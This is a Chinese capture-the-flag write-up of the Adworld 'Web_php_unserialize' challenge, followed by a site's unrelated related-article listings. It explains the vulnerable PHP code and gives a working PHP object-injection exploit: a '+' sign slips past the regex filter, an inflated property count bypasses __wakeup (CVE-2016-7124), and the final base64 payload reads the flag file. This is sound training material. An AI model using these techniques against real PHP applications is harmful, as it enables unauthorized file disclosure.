攻防世界Web_php_unserialize

2023-11-10

最近开始刷攻防世界的web题目,遇到一个比较有意思的题目。ctf小白大家勿喷

访问题目链接

是一段php代码

 

对代码进行初步审计   发现unserialize函数  可以确定是一个php反序列化的利用

由于刚开始学习php的反序列化  对php不是特别熟悉所以对代码进行逐行解析

<?php 
class Demo { 
    private $file = 'index.php';  //设置了类的私有变量
    public function __construct($file) { //实例化对象时将会被调用
        $this->file = $file;   //将对象的file属性的值设置为file变量
    }
    function __destruct() {  //当对象被销毁时将会被调用
        echo @highlight_file($this->file, true);  //输出读取到的文件
    }
    function __wakeup() {    //当进行反序列化操作时候  函数将会被调用
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php  //将对象的file参数设置为index.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { //get方法传参
    $var = base64_decode($_GET['var']);  //对获取到的参数var的值进行base64解码
    if (preg_match('/[oc]:\d+:/i', $var)) {  //正则表达式过滤  \d匹配任意的数字  /i表示匹配时不区分大小写 /[oc]匹配oc字符
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

理一下构造pop链的思路

从参数传入的地方入手

  1. 进行了一个base64的解码   在传入参数的时候先对参数的值进行base64加密进行第一步的绕过。
  2. 进行了一个正则表达式的判断  匹配到任意长度的数字  或者oc字符都会被过滤  直接结束进程。
  3. 当正则的过滤被绕过之后   对传入的参数var的值进行反序列化处理  

注意:此时__wakeup()函数会被自动调用  当其被调用时输出的文件就会被强制更改成  index.php  所以这里需要对这个函数进行绕过。

当对象销毁时也就是结束运行时   destruct函数会被调用输出文件当中的内容

第一次构造的pop链

 

?php 
class Demo { 
    private $file = 'index.php';  //设置了类的私有变量
    public function __construct($file) { //实例化对象时将会被调用
        $this->file = $file;   //将对象的file属性的值设置为file变量
    }
    function __destruct() {  //当对象被销毁时将会被调用
        echo @highlight_file($this->file, true);  //输出读取到的文件
    }
    function __wakeup() {    //当进行反序列化操作时候  函数将会被调用
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php  //将对象的file参数设置为index.php
            $this->file = 'index.php'; 
        } 
    } 
}
$a= new Demo('fl4g.php');//实例化对象   __construct函数将会被自动调用  fl4g.php 将会被赋值给$file变量
$c=serialize($a);   //对a进行序列化操作
$c=str_replace('O:4', 'O:+4',$c);  //通过添加+号绕过正则的过滤
$c=str_replace(':1:', ':2:',$c);   //利用__wakeup()的CVE-2016-7124  在序列化的字符串当中当真实的属性个数大于真实的属性个数时  该函数不会执行
echo $c ;
$j=(base64_encode($c));  //对其进行base64编码
echo $j;
?>

得到的payload

 但是通过get方法将payload提交给var变量并不能得到flag

后续百度了一下这里也有个坑:

对于private变量 进行序列化时会在类名和字段名上添加保护

前后均有空格

因此对于private属性在类名和字段名前均需要添加\0

当使用浏览器提交时需要在类名和字段名前添加%00   

对pop链进行修改

完整的pop链

 

<?php 
class Demo { 
    private $file = 'index.php';  //设置了类的私有变量
    public function __construct($file) { //实例化对象时将会被调用
        $this->file = $file;   //将对象的file属性的值设置为file变量
    }
    function __destruct() {  //当对象被销毁时将会被调用
        echo @highlight_file($this->file, true);  //输出读取到的文件
    }
    function __wakeup() {    //当进行反序列化操作时候  函数将会被调用
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php  //将对象的file参数设置为index.php
            $this->file = 'index.php'; 
        } 
    } 
}
$a= new Demo('fl4g.php');//实例化对象   __construct函数将会被自动调用  fl4g.php 将会被赋值给$file变量
$c=serialize($a);   //对a进行序列化操作
$c=str_replace('O:4', 'O:+4',$c);  //通过添加+号绕过正则的过滤
$c=str_replace(':1:', ':2:',$c);   //利用__wakeup()的CVE-2016-7124  在序列化的字符串当中当真实的属性个数大于真实的属性个数时  该函数不会执行
$c=str_replace(' ','%00',$c);   //序列化私有类时  类名和字段名前会有空格  使用url传参时需要将空格替换成%00
echo $c;
$j=(base64_encode($c));  //对其进行base64编码
echo $j;
?>

得到payload

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

使用get方法提交参数

得到flag 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

攻防世界Web_php_unserialize 的相关文章

  • symfony2 选择单选框的默认值

    我的项目是使用 Silex 和 Symfony 组件 即表单组件 编写的 我尝试创建一组从类中构建的单选按钮 并且我想预先选择其中一个单选按钮 我创建这样的表格 form app form factory gt createBuilder
  • HTML 表单 POST 到 PHP 页面 [关闭]

    这个问题不太可能对任何未来的访客有帮助 它只与一个较小的地理区域 一个特定的时间点或一个非常狭窄的情况相关 通常不适用于全世界的互联网受众 为了帮助使这个问题更广泛地适用 访问帮助中心 help reopen questions 好的 我创
  • 未捕获的 ValueError:mysqli_stmt::execute():参数 #1 ($params) 必须是列表数组

    我试图通过这两个查询在我的数据库中插入准备好的语句多个值 这两个查询都发生故障 返回 未捕获的错误 调用未定义的方法 mysqli stmt bindValue 对于第一个代码或 未捕获的 ValueError mysqli stmt ex
  • 将 jQuery 数组字符串转换为 PHP 数组

    首先 我得说我对 PHP 还很陌生 我正在尝试获取一个可以使用 foreach 的 PHP 对象 以下字符串通过 ajax 传递 我正在尝试转动以下字符串 menu title TEST1 href title TEST2 href QWE
  • 如何为 Lumen 的封闭路线指定路线名称?

    您好 我有以下流明路线 router gt get end function Illuminate Http Request request use router controller router gt app gt make App H
  • Symfony php.ini Debian

    我在 Oracle VM VirtualBox 上使用 Debian 7 amd64 LAMP 服务器 我正在尝试安装 Symfony 但遇到了一些小问题 当我运行命令时 php my project name app check php
  • php 在内容前插入十六进制字符数

    我正在将网站移动到新服务器 旧服务器有 php 5 3 2 新服务器有 php 5 5 9 Centos httpd Apache 2 2 26 我已经复制了文件 它工作正常 除了唯一奇怪的事情 一些奇怪的十六进制数字被插入到页面内容之前
  • xdebug_start_trace 行为异常

    我正在尝试进一步减少脚本内存使用量 我试图让我的脚本使用 xdebug 生成输出来分析内存使用情况 这是一个基于 CLI 的脚本 有 shebang usr local bin php q 我向它传递一个参数并检查它 argc gt 1 i
  • PHP 警告 ZipArchive::extractTo():权限被拒绝

    我创建了一个应用程序 它使用 ZipArchive 类 php 中的标准 中的方法 extractTo 并在 Windows 7 上的本地主机 apache 服务器上对其进行了测试 没有任何问题 但是当我在一些unix生产服务器上尝试过它之
  • PSR-4 代码库中条令生成器的解决方法

    在 Windows 机器上使用 Symfony 2 和 Doctrine 我正在尝试 从现有模式生成实体 php app console doctrine mapping import force CoreBundle annotation
  • 一次将多个值插入MySQL [重复]

    这个问题在这里已经有答案了 谁能解释一下为什么这个 PHP MySQL 不起作用 基本上我需要从表单中一次插入大量行 因此会有多个名称字段 多个短 中 长字段等 我收到此错误 Notice Undefined variable Short1
  • Propel Query 中的动态表名称

    我想知道您是否可以使 propel 查询的表名称动态化 有点像变量 一个例子类似于 DynamicVar Query create 我让它在 ifs 中工作 就像下面的例子一样 但如果更动态地制作 可以删除相当多的行 这些表的设置都是相同的
  • 如何在 Laravel 5 中处理嵌套的 JSON 对象请求?

    我们在 Laravel 5 和 AngularJs Ionic 中运行此 Web 服务来处理 Web 当我们将请求从 Web 客户端 发送到 Web 服务 后端 时 我们传递了嵌套的 JSON 对象 我们在读取服务器端父对象下的所有子对象时
  • 使用 DOM 获取 div 的内容(包括子标签)

    我正在使用 DOM 来获取 div 标签的内容 但内部 html 部分未显示 功能是 dom new DOMDocument libxml use internal errors true dom gt loadHTMLFile url l
  • 如何在 joomla 模块中通过 javascript 发送输入文件类型

    我想将带有 javascript 的文件发送到 php 文件 我的 php 文件中有这个表单
  • 解析 PHP 响应:未捕获的语法错误:意外的标记 <

    我正在使用 AJAX 来调用 PHP 脚本 我唯一需要从响应中解析的是脚本生成的随机 ID 问题是 PHP 脚本会引发许多错误 这些错误实际上很好 不会妨碍程序功能 唯一的问题是当我跑步时 parseJSON response I get
  • php,in_array,0值

    我试图理解in array下一个场景的行为 arr array 2 gt Bye 52 77 3 gt Hey var dump in array 0 arr 返回值in array 是布尔值true 正如你所看到的no值等于0 所以有人可
  • 使 div 的大小与其内部图像的大小相同

    我有一个带有以下代码的div HTML div img src img logo png div CSS div imgContainer width 250px height 250px padding 13px 问题是用户可以编辑图像大
  • 无法在 Centos 上安装 php-mysqli 扩展

    我正在尝试将 mysqli 扩展安装到 php yum install php mysqli 我收到下一个错误 Transaction Check Error file usr share mysql charsets Index xml
  • 处理查询字符串参数时 Codeigniter 缓存问题

    问候 我正在编写一个 CI Web 应用程序 它实现标准文件缓存功能 如下所示 this gt output gt cache n 我使用了段和查询字符串参数的组合 因此似乎遇到了问题 我在用例和输出类代码中看到的是 缓存仅基于段 像这样

随机推荐

  • Zotero使用指南06:Markdown笔记

    转载Zotero使用指南06 Markdown笔记 这篇推文主要介绍如何通过插件实现在Zotero用markdown做笔记 首先下载Markdown Here源码包 这里已为大家准备好 需要墙 https github com piyixi
  • python读写txt文件

    当我们做深度学习项目时实验数据规模非常庞大 而xls格式 最多6万多行 xlsx格式 和csv 最多100多万行 格式等都有写入上限 而txt格式下没有写入限制 因此我们可以利用txt格式读写大规模的实验数据 具体代码如下 import n
  • dz论坛开启html,DZ论坛解决https开启后部分出现http的网址问题导致https不能显示方法...

    首先 申请并且配置好服务器ssl证书 快云IDC https kuaiyunidc cn都有免费的 同时都有教程 配置完毕后需要配置以下几处 1 后台 全局 站点URL 2 后台 站长 ucenter设置 3 ucenter 应用 编辑 4
  • 大数据入门成长指南

    1 Java编程技术 Java编程技术是大数据学习的基础 Java是一种强类型语言 拥有极高的跨平台能力 可以编写桌面应用程序 Web应用程序 分布式系统和嵌入式系统应用程序等 是大数据工程师最喜欢的编程工具 因此 想学好大数据 掌握Jav
  • PCL 耳切三角剖分算法

    目录 一 算法原理 1 原理概述 2 主要函数 二 代码实现 三 结果展示 一 算法原理 1 原理概述 简单多边形的耳朵 是指由连续顶点 V 0 V 0 V
  • Net Core API跨域的处理 vs2017

    Startup ConfigureServices public void ConfigureServices IServiceCollection services services AddCors options gt options
  • 利用html模板发送邮件

    扣扣分享交流群 1125844267 一 背景 刚刚在测试别的项目组的项目时 突然发现人家的邮件内容怎么那么好看呢 再看看自己的 就几行字发过去了 不要说客户能不能满意 首先自己就感觉不好看 所以自己也搞一个试试 二 展示 完成后的邮件内容
  • python里的override(重写)

    本文翻译自Let s override 什么是override override字面理解是无效 消除的意思 在Python里两个同名的方法但执行不同程序 其中一个方法使得另外一个方法无效的 这就叫override 重写 通常情况下 父类中的
  • Unity Vuforio 导出安卓apk后摄像头识别不出物体

    可以看一下是不是场景导错了
  • Linux下查看进程、线程

    ps ef f 用树形显示进程和线程 在Linux下面好像因为没有真正的线程 是用进程模拟的 有一个是辅助线程 所以真正程序开的线程应该只有一个 ps ef f grep httpd root apache dhj ps ef f grep
  • 【IDEA】超级舒服的IDEA界面

    设置目录栏字体 设置Editor字体
  • BigDecimal的String类型

    java本身对浮点型的计算会丢失精度 这个一定要注意 必须要用BigDecimal的String类型才能解决精度的问题 BigDecimal一共有四个构造方法 我们在计算商品价格的时候 一定要用BigDecimal的String构造器才好
  • Nginx 四层代理配置模板

    worker processes 4 worker rlimit nofile 40000 events worker connections 8192 http upstream rancher server IP NODE 1 80 s
  • 阿里云服务器架构X86计算、ARM、GPU/FPGA、裸金属和超级计算集群

    阿里云服务器架构有什么区别 X86计算 ARM计算 GPU FPGA ASIC 弹性裸金属服务器 超级计算集群有什么区别 阿里云服务器网分享云服务器ECS架构详细说明 目录 阿里云服务器ECS架构说明 X86计算 ARM计算 GPU FPG
  • 文举论金:黄金原油全面走势分析策略指导。

    市场没有绝对 涨跌没有定势 所以 对市场行情的涨跌平衡判断就是你的制胜法宝 欲望 有句意大利谚语 让金钱成为我们忠心耿耿的仆人 否则 它就会成为一个专横跋扈的主人 空头 多头都能赚钱 唯有贪心不能赚 是你掌控欲望还是欲望掌控你 古人云 不积
  • win无法启动资源修复服务器,Win10修复:Windows Defender无法启动两步解决

    有些IT之家用户在升级安装Win10后 发现内置杀软Windows Defender无法正常启动 IT之家发现这类用户基本上都是从Win7升级而来 而且之前可能用过MSE 虽然MSE在正常情况下升级后会被清除 但也有清理不干净的情况 这可能
  • deepspeed训练模型报错:磁盘空间不够

    解决方法 修改huggingface缓存路径 让数据存到其它分区上 不和目录 cache 在同一分区即可 export TRANSFORMERS CACHE data0 xxx huggingface export HF HOME data
  • 我这里有一款情侣之间用来记录生活的app Android端和web端的

    我这里有一款情侣之间用来记录生活的app app下载地址 复制链接到网页下载即可 web网页端地址 当今社会 情侣之间的交流方式越来越多样化 而一款专门为情侣设计的数据共享应用程序也应运而生 这款应用程序可以帮助情侣们更好地分享彼此的生活
  • Python通过注册表获取串口列表

    工作中需要使用CameraLink接口自带的串口与设备进行通信 DALSA采集卡软件中可以将CameraLink接口里的串口映射到一个COM口 但是在使用第三方串口库 nodejs的serialport python的serial 提供的获
  • 攻防世界Web_php_unserialize

    最近开始刷攻防世界的web题目 遇到一个比较有意思的题目 ctf小白大家勿喷 访问题目链接 是一段php代码 对代码进行初步审计 发现unserialize函数 可以确定是一个php反序列化的利用 由于刚开始学习php的反序列化 对php不